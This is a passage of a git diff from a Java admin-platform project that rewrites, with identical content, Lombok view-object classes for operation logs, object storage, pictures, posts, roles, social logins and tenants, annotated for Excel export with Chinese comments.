@ExcelProperty(value = "操作类别", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "0=其它,1=后台用户,2=手机端用户") + private Integer operatorType; + + /** + * 操作人员 + */ + @ExcelProperty(value = "操作人员") + private String operName; + + /** + * 部门名称 + */ + @ExcelProperty(value = "部门名称") + private String deptName; + + /** + * 请求URL + */ + @ExcelProperty(value = "请求地址") + private String operUrl; + + /** + * 主机地址 + */ + @ExcelProperty(value = "操作地址") + private String operIp; + + /** + * 操作地点 + */ + @ExcelProperty(value = "操作地点") + private String operLocation; + + /** + * 请求参数 + */ + @ExcelProperty(value = "请求参数") + private String operParam; + + /** + * 返回参数 + */ + @ExcelProperty(value = "返回参数") + private String jsonResult; + + /** + * 操作状态(0正常 1异常) + */ + @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_common_status") + private Integer status; + + /** + * 错误消息 + */ + @ExcelProperty(value = "错误消息") + private String errorMsg; + + /** + * 操作时间 + */ + @ExcelProperty(value = "操作时间") + private Date operTime; + + /** + * 消耗时间 + */ + @ExcelProperty(value = "消耗时间") + private Long costTime; +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOssConfigVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOssConfigVo.java index 53d2065..bdbd341 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOssConfigVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOssConfigVo.java @@ -1,97 +1,97 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.system.domain.SysOssConfig; - -import java.io.Serial; -import java.io.Serializable; - - -/** - * 对象存储配置视图对象 sys_oss_config - * - * @author Lion Li - * @author 孤舟烟雨 - * @date 2021-08-13 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = SysOssConfig.class) -public class SysOssConfigVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - private Long ossConfigId; - - /** - * 配置key - */ - private String configKey; - - /** - * accessKey - */ - private String accessKey; - - /** - * 秘钥 - */ - private String secretKey; - - /** - * 桶名称 - */ - private String bucketName; - - /** - * 前缀 - */ - private String prefix; - - /** - * 访问站点 - */ - private String endpoint; - - /** - * 自定义域名 - */ - private String domain; - - /** - * 是否https(Y=是,N=否) - */ - private String isHttps; - - /** - * 域 - */ - private String region; - - /** - * 是否默认(0=是,1=否) - */ - private String status; - - /** - * 扩展字段 - */ - private String ext1; - - /** - * 备注 - */ - private String remark; - - /** - * 桶权限类型(0private 1public 2custom) - */ - private String accessPolicy; - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.system.domain.SysOssConfig; + +import java.io.Serial; +import java.io.Serializable; + + +/** + * 对象存储配置视图对象 sys_oss_config + * + * @author Lion Li + * @author 孤舟烟雨 + * @date 2021-08-13 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = SysOssConfig.class) +public class SysOssConfigVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + private Long ossConfigId; + + /** + * 配置key + */ + private String configKey; + + /** + * accessKey + */ + private String accessKey; + + /** + * 秘钥 + */ + private String secretKey; + + /** + * 桶名称 + */ + private String bucketName; + + /** + * 前缀 + */ + private String prefix; + + /** + * 访问站点 + */ + private String endpoint; + + /** + * 自定义域名 + */ + private String domain; + + /** + * 是否https(Y=是,N=否) + */ + private String isHttps; + + /** + * 域 + */ + private String region; + + /** + * 是否默认(0=是,1=否) + */ + private String status; + + /** + * 扩展字段 + */ + private String ext1; + + /** + * 备注 + */ + private String remark; + + /** + * 桶权限类型(0private 1public 2custom) + */ + private String accessPolicy; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOssUploadVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOssUploadVo.java index 11e0ff8..e7b9d85 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOssUploadVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOssUploadVo.java @@ -1,28 +1,28 @@ -package org.dromara.system.domain.vo; - -import lombok.Data; - -/** - * 上传对象信息 - * - * @author Michelle.Chung - */ -@Data -public class SysOssUploadVo { - - /** - * URL地址 - */ - private String url; - - /** - * 文件名 - */ - private String fileName; - - /** - * 对象存储主键 - */ - private String ossId; - -} +package org.dromara.system.domain.vo; + +import lombok.Data; + +/** + * 上传对象信息 + * + * @author Michelle.Chung + */ +@Data +public class SysOssUploadVo { + + /** + * URL地址 + */ + private String url; + + /** + * 文件名 + */ + private String fileName; + + /** + * 对象存储主键 + */ + private String ossId; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOssVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOssVo.java index fde5360..ea1ea9a 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOssVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOssVo.java @@ -1,72 +1,72 @@ -package org.dromara.system.domain.vo; - -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.translation.annotation.Translation; -import org.dromara.common.translation.constant.TransConstant; -import org.dromara.system.domain.SysOss; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - -/** - * OSS对象存储视图对象 sys_oss - * - * @author Lion Li - */ -@Data -@AutoMapper(target = SysOss.class) -public class SysOssVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 对象存储主键 - */ - private Long ossId; - - /** - * 文件名 - */ - private String fileName; - - /** - * 原名 - */ - private String originalName; - - /** - * 文件后缀名 - */ - private String fileSuffix; - - /** - * URL地址 - */ - private String url; - - /** - * 创建时间 - */ - private Date createTime; - - /** - * 上传人 - */ - private Long createBy; - - /** - * 上传人名称 - */ - @Translation(type = TransConstant.USER_ID_TO_NAME, mapper = "createBy") - private String createByName; - - /** - * 服务商 - */ - private String service; - - -} +package org.dromara.system.domain.vo; + +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.translation.annotation.Translation; +import org.dromara.common.translation.constant.TransConstant; +import org.dromara.system.domain.SysOss; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + +/** + * OSS对象存储视图对象 sys_oss + * + * @author Lion Li + */ +@Data +@AutoMapper(target = SysOss.class) +public class SysOssVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 对象存储主键 + */ + private Long ossId; + + /** + * 文件名 + */ + private String fileName; + + /** + * 原名 + */ + private String originalName; + + /** + * 文件后缀名 + */ + private String fileSuffix; + + /** + * URL地址 + */ + private String url; + + /** + * 创建时间 + */ + private Date createTime; + + /** + * 上传人 + */ + private Long createBy; + + /** + * 上传人名称 + */ + @Translation(type = TransConstant.USER_ID_TO_NAME, mapper = "createBy") + private String createByName; + + /** + * 服务商 + */ + private String service; + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysPictureVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysPictureVo.java index a4b7921..1569d23 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysPictureVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysPictureVo.java @@ -1,138 +1,138 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.system.domain.SysPicture; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; -import java.util.Date; - - -/** - * 画册视图对象 sys_picture - * - * @author Maosw - * @date 2025-02-26 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = SysPicture.class) -public class SysPictureVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * ID - */ - @ExcelProperty(value = "ID") - private Long id; - - /** - * 分类 1-轮播 2-画册 - */ - @ExcelProperty(value = "分类 1-轮播 2-画册") - private Long type; - - /** - * 标题 - */ - @ExcelProperty(value = "标题") - private String title; - - /** - * 封面图片 - */ - @ExcelProperty(value = "封面图片") - private String icon; - - /** - * 图片集JSON - */ - @ExcelProperty(value = "图片集JSON") - private String imgs; - - /** - * 跳转地址 - */ - @ExcelProperty(value = "跳转地址") - private String url; - - /** - * 状态(1正常 0关闭) - */ - @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=正常,0=关闭") - private Long status; - - /** - * 排序 - */ - @ExcelProperty(value = "排序") - private Long sort; - - /** - * 创建者 - */ - @ExcelProperty(value = "创建者") - private Long createBy; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date createTime; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 标记 - */ - private Integer flag; - - /** - * 浏览量 - */ - private Long num; - - /** - * 租户 1-室内设计 2-制图工厂 - */ - private Integer tenant; - - /** - * 用户ID - */ - private Long userId; - - /** - * 工种ID - */ - private Long work; - - /** - * 工种名称 - */ - private String workName; - - /** - * 原价 - */ - private BigDecimal originalPrice; - - /** - * 优惠价 - */ - private BigDecimal discountPrice; - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.system.domain.SysPicture; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; +import java.util.Date; + + +/** + * 画册视图对象 sys_picture + * + * @author Maosw + * @date 2025-02-26 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = SysPicture.class) +public class SysPictureVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * ID + */ + @ExcelProperty(value = "ID") + private Long id; + + /** + * 分类 1-轮播 2-画册 + */ + @ExcelProperty(value = "分类 1-轮播 2-画册") + private Long type; + + /** + * 标题 + */ + @ExcelProperty(value = "标题") + private String title; + + /** + * 封面图片 + */ + @ExcelProperty(value = "封面图片") + private String icon; + + /** + * 图片集JSON + */ + @ExcelProperty(value = "图片集JSON") + private String imgs; + + /** + * 跳转地址 + */ + @ExcelProperty(value = "跳转地址") + private String url; + + /** + * 状态(1正常 0关闭) + */ + @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=正常,0=关闭") + private Long status; + + /** + * 排序 + */ + @ExcelProperty(value = "排序") + private Long sort; + + /** + * 创建者 + */ + @ExcelProperty(value = "创建者") + private Long createBy; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 标记 + */ + private Integer flag; + + /** + * 浏览量 + */ + private Long num; + + /** + * 租户 1-室内设计 2-制图工厂 + */ + private Integer tenant; + + /** + * 用户ID + */ + private Long userId; + + /** + * 工种ID + */ + private Long work; + + /** + * 工种名称 + */ + private String workName; + + /** + * 原价 + */ + private BigDecimal originalPrice; + + /** + * 优惠价 + */ + private BigDecimal discountPrice; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysPostVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysPostVo.java index 69be547..8b678a6 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysPostVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysPostVo.java @@ -1,91 +1,91 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.common.translation.annotation.Translation; -import org.dromara.common.translation.constant.TransConstant; -import org.dromara.system.domain.SysPost; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - -/** - * 岗位信息视图对象 sys_post - * - * @author Michelle.Chung - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = SysPost.class) -public class SysPostVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 岗位ID - */ - @ExcelProperty(value = "岗位序号") - private Long postId; - - /** - * 部门id - */ - @ExcelProperty(value = "部门id") - private Long deptId; - - /** - * 岗位编码 - */ - @ExcelProperty(value = "岗位编码") - private String postCode; - - /** - * 岗位名称 - */ - @ExcelProperty(value = "岗位名称") - private String postName; - - /** - * 岗位类别编码 - */ - @ExcelProperty(value = "类别编码") - private String postCategory; - - /** - * 显示顺序 - */ - @ExcelProperty(value = "岗位排序") - private Integer postSort; - - /** - * 状态(0正常 1停用) - */ - @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_normal_disable") - private String status; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date createTime; - - /** - * 部门名 - */ - @Translation(type = TransConstant.DEPT_ID_TO_NAME, mapper = "deptId") - private String deptName; - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.common.translation.annotation.Translation; +import org.dromara.common.translation.constant.TransConstant; +import org.dromara.system.domain.SysPost; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + +/** + * 岗位信息视图对象 sys_post + * + * @author Michelle.Chung + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = SysPost.class) +public class SysPostVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 岗位ID + */ + @ExcelProperty(value = "岗位序号") + private Long postId; + + /** + * 部门id + */ + @ExcelProperty(value = "部门id") + private Long deptId; + + /** + * 岗位编码 + */ + @ExcelProperty(value = "岗位编码") + private String postCode; + + /** + * 岗位名称 + */ + @ExcelProperty(value = "岗位名称") + private String postName; + + /** + * 岗位类别编码 + */ + @ExcelProperty(value = "类别编码") + private String postCategory; + + /** + * 显示顺序 + */ + @ExcelProperty(value = "岗位排序") + private Integer postSort; + + /** + * 状态(0正常 1停用) + */ + @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_normal_disable") + private String status; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + + /** + * 部门名 + */ + @Translation(type = TransConstant.DEPT_ID_TO_NAME, mapper = "deptId") + private String deptName; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysRoleVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysRoleVo.java index 41630cc..bd4bd50 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysRoleVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysRoleVo.java @@ -1,105 +1,105 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.system.domain.SysRole; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - -/** - * 角色信息视图对象 sys_role - * - * @author Michelle.Chung - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = SysRole.class) -public class SysRoleVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 角色ID - */ - @ExcelProperty(value = "角色序号") - private Long roleId; - - /** - * 角色名称 - */ - @ExcelProperty(value = "角色名称") - private String roleName; - - /** - * 角色权限字符串 - */ - @ExcelProperty(value = "角色权限") - private String roleKey; - - /** - * 显示顺序 - */ - @ExcelProperty(value = "角色排序") - private Integer roleSort; - - /** - * 数据范围(1:全部数据权限 2:自定数据权限 3:本部门数据权限 4:本部门及以下数据权限) - */ - @ExcelProperty(value = "数据范围", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=所有数据权限,2=自定义数据权限,3=本部门数据权限,4=本部门及以下数据权限,5=仅本人数据权限") - private String dataScope; - - /** - * 菜单树选择项是否关联显示 - */ - @ExcelProperty(value = "菜单树选择项是否关联显示") - private Boolean menuCheckStrictly; - - /** - * 部门树选择项是否关联显示 - */ - @ExcelProperty(value = "部门树选择项是否关联显示") - private Boolean deptCheckStrictly; - - /** - * 角色状态(0正常 1停用) - */ - @ExcelProperty(value = "角色状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_normal_disable") - private String status; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date createTime; - - /** - * 用户是否存在此角色标识 默认不存在 - */ - private boolean flag = false; - - public boolean isSuperAdmin() { - return SystemConstants.SUPER_ADMIN_ID.equals(this.roleId); - } - - /** - * 订单类型 逗号隔开 - */ - private String orderType; - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.system.domain.SysRole; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + +/** + * 角色信息视图对象 sys_role + * + * @author Michelle.Chung + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = SysRole.class) +public class SysRoleVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 角色ID + */ + @ExcelProperty(value = "角色序号") + private Long roleId; + + /** + * 角色名称 + */ + @ExcelProperty(value = "角色名称") + private String roleName; + + /** + * 角色权限字符串 + */ + @ExcelProperty(value = "角色权限") + private String roleKey; + + /** + * 显示顺序 + */ + @ExcelProperty(value = "角色排序") + private Integer roleSort; + + /** + * 数据范围(1:全部数据权限 2:自定数据权限 3:本部门数据权限 4:本部门及以下数据权限) + */ + @ExcelProperty(value = "数据范围", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=所有数据权限,2=自定义数据权限,3=本部门数据权限,4=本部门及以下数据权限,5=仅本人数据权限") + private String dataScope; + + /** + * 菜单树选择项是否关联显示 + */ + @ExcelProperty(value = "菜单树选择项是否关联显示") + private Boolean menuCheckStrictly; + + /** + * 部门树选择项是否关联显示 + */ + @ExcelProperty(value = "部门树选择项是否关联显示") + private Boolean deptCheckStrictly; + + /** + * 角色状态(0正常 1停用) + */ + @ExcelProperty(value = "角色状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_normal_disable") + private String status; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + + /** + * 用户是否存在此角色标识 默认不存在 + */ + private boolean flag = false; + + public boolean isSuperAdmin() { + return SystemConstants.SUPER_ADMIN_ID.equals(this.roleId); + } + + /** + * 订单类型 逗号隔开 + */ + private String orderType; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysSocialVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysSocialVo.java index 948dbcc..9ab2297 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysSocialVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysSocialVo.java @@ -1,144 +1,144 @@ -package org.dromara.system.domain.vo; - -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.system.domain.SysSocial; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - -/** - * 社会化关系视图对象 sys_social - * - * @author thiszhc - */ -@Data -@AutoMapper(target = SysSocial.class) -public class SysSocialVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - private Long id; - - /** - * 用户ID - */ - private Long userId; - - /** - * 租户ID - */ - private String tenantId; - - /** - * 的唯一ID - */ - private String authId; - - /** - * 用户来源 - */ - private String source; - - /** - * 用户的授权令牌 - */ - private String accessToken; - - /** - * 用户的授权令牌的有效期,部分平台可能没有 - */ - private int expireIn; - - /** - * 刷新令牌,部分平台可能没有 - */ - private String refreshToken; - - /** - * 用户的 open id - */ - private String openId; - - /** - * 授权的第三方账号 - */ - private String userName; - - /** - * 授权的第三方昵称 - */ - private String nickName; - - /** - * 授权的第三方邮箱 - */ - private String email; - - /** - * 授权的第三方头像地址 - */ - private String avatar; - - - /** - * 平台的授权信息,部分平台可能没有 - */ - private String accessCode; - - /** - * 用户的 unionid - */ - private String unionId; - - /** - * 授予的权限,部分平台可能没有 - */ - private String scope; - - /** - * 个别平台的授权信息,部分平台可能没有 - */ - private String tokenType; - - /** - * id token,部分平台可能没有 - */ - private String idToken; - - /** - * 小米平台用户的附带属性,部分平台可能没有 - */ - private String macAlgorithm; - - /** - * 小米平台用户的附带属性,部分平台可能没有 - */ - private String macKey; - - /** - * 用户的授权code,部分平台可能没有 - */ - private String code; - - /** - * Twitter平台用户的附带属性,部分平台可能没有 - */ - private String oauthToken; - - /** - * Twitter平台用户的附带属性,部分平台可能没有 - */ - private String oauthTokenSecret; - - /** - * 创建时间 - */ - private Date createTime; -} +package org.dromara.system.domain.vo; + +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.system.domain.SysSocial; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + +/** + * 社会化关系视图对象 sys_social + * + * @author thiszhc + */ +@Data +@AutoMapper(target = SysSocial.class) +public class SysSocialVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + private Long id; + + /** + * 用户ID + */ + private Long userId; + + /** + * 租户ID + */ + private String tenantId; + + /** + * 的唯一ID + */ + private String authId; + + /** + * 用户来源 + */ + private String source; + + /** + * 用户的授权令牌 + */ + private String accessToken; + + /** + * 用户的授权令牌的有效期,部分平台可能没有 + */ + private int expireIn; + + /** + * 刷新令牌,部分平台可能没有 + */ + private String refreshToken; + + /** + * 用户的 open id + */ + private String openId; + + /** + * 授权的第三方账号 + */ + private String userName; + + /** + * 授权的第三方昵称 + */ + private String nickName; + + /** + * 授权的第三方邮箱 + */ + private String email; + + /** + * 授权的第三方头像地址 + */ + private String avatar; + + + /** + * 平台的授权信息,部分平台可能没有 + */ + private String accessCode; + + /** + * 用户的 unionid + */ + private String unionId; + + /** + * 授予的权限,部分平台可能没有 + */ + private String scope; + + /** + * 个别平台的授权信息,部分平台可能没有 + */ + private String tokenType; + + /** + * id token,部分平台可能没有 + */ + private String idToken; + + /** + * 小米平台用户的附带属性,部分平台可能没有 + */ + private String macAlgorithm; + + /** + * 小米平台用户的附带属性,部分平台可能没有 + */ + private String macKey; + + /** + * 用户的授权code,部分平台可能没有 + */ + private String code; + + /** + * Twitter平台用户的附带属性,部分平台可能没有 + */ + private String oauthToken; + + /** + * Twitter平台用户的附带属性,部分平台可能没有 + */ + private String oauthTokenSecret; + + /** + * 创建时间 + */ + private Date createTime; +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysTenantPackageVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysTenantPackageVo.java index a413d63..80bed6d 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysTenantPackageVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysTenantPackageVo.java @@ -1,66 +1,66 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.system.domain.SysTenantPackage; - -import java.io.Serial; -import java.io.Serializable; - - -/** - * 租户套餐视图对象 sys_tenant_package - * - * @author Michelle.Chung - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = SysTenantPackage.class) -public class SysTenantPackageVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 租户套餐id - */ - @ExcelProperty(value = "租户套餐id") - private Long packageId; - - /** - * 套餐名称 - */ - @ExcelProperty(value = "套餐名称") - private String packageName; - - /** - * 关联菜单id - */ - @ExcelProperty(value = "关联菜单id") - private String menuIds; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 菜单树选择项是否关联显示 - */ - @ExcelProperty(value = "菜单树选择项是否关联显示") - private Boolean menuCheckStrictly; - - /** - * 状态(0正常 1停用) - */ - @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "0=正常,1=停用") - private String status; - - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.system.domain.SysTenantPackage; + +import java.io.Serial; +import java.io.Serializable; + + +/** + * 租户套餐视图对象 sys_tenant_package + * + * @author Michelle.Chung + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = SysTenantPackage.class) +public class SysTenantPackageVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 租户套餐id + */ + @ExcelProperty(value = "租户套餐id") + private Long packageId; + + /** + * 套餐名称 + */ + @ExcelProperty(value = "套餐名称") + private String packageName; + + /** + * 关联菜单id + */ + @ExcelProperty(value = "关联菜单id") + private String menuIds; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 菜单树选择项是否关联显示 + */ + @ExcelProperty(value = "菜单树选择项是否关联显示") + private Boolean menuCheckStrictly; + + /** + * 状态(0正常 1停用) + */ + @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "0=正常,1=停用") + private String status; + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysTenantVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysTenantVo.java index ee776ba..ee53ded 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysTenantVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysTenantVo.java @@ -1,139 +1,139 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.system.domain.SysTenant; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - -/** - * 租户视图对象 sys_tenant - * - * @author Michelle.Chung - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = SysTenant.class) -public class SysTenantVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * id - */ - @ExcelProperty(value = "id") - private Long id; - - /** - * 租户ID - */ - @ExcelProperty(value = "租户ID") - private String tenantId; - - /** - * 租户编号 - */ - @ExcelProperty(value = "租户编号") - private String tenantCode; - - /** - * 联系人 - */ - @ExcelProperty(value = "联系人") - private String contactUserName; - - /** - * 联系电话 - */ - @ExcelProperty(value = "联系电话") - private String contactPhone; - - /** - * 企业名称 - */ - @ExcelProperty(value = "企业名称") - private String companyName; - - /** - * 统一社会信用代码 - */ - @ExcelProperty(value = "统一社会信用代码") - private String licenseNumber; - - /** - * 地址 - */ - @ExcelProperty(value = "地址") - private String address; - - /** - * 域名 - */ - @ExcelProperty(value = "域名") - private String domain; - - /** - * 企业简介 - */ - @ExcelProperty(value = "企业简介") - private String intro; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 租户套餐编号 - */ - @ExcelProperty(value = "租户套餐编号") - private Long packageId; - - 